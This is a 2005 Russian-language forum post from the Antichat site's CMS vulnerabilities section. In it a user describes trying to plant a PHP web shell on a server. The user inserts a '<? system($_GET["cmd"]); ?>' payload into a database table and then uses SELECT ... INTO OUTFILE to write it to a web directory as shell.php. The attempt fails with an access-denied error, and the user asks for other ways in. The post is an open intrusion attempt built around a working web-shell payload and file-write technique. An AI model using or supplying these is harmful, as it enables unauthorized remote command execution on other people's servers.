HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #9  
Старый 11.12.2005, 08:22
fixer2
Новичок
Регистрация: 05.12.2005
Сообщений: 17
С нами: 10753243

Репутация: 1
По умолчанию

Значит прочел-таки я это небольшое пособие. Как выяснилось - в мускуле сложных команд нету. Тем не менее залить шелл не удается.

Сначала я собственно создал значение в таблице юзеров:
Цитата:
INSERT INTO table (par1, par2) VALUES ('7777','<? system($_GET["cmd"]); ?> ')
Теперь инто файл хочу его залить:
Цитата:
SELECТ name FROM table INTO OUTFILE '/home/user/www/shell.php'
Но, увы, не получается. В ответ вижу следующее сообщение:

Цитата:
Access denied for user: 'forum@localhost' (Using password: YES)
Это означает что инто аутфайл запрещен? Какие тогда варианты есть?

Последний раз редактировалось fixer2; 11.12.2005 в 08:35..
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.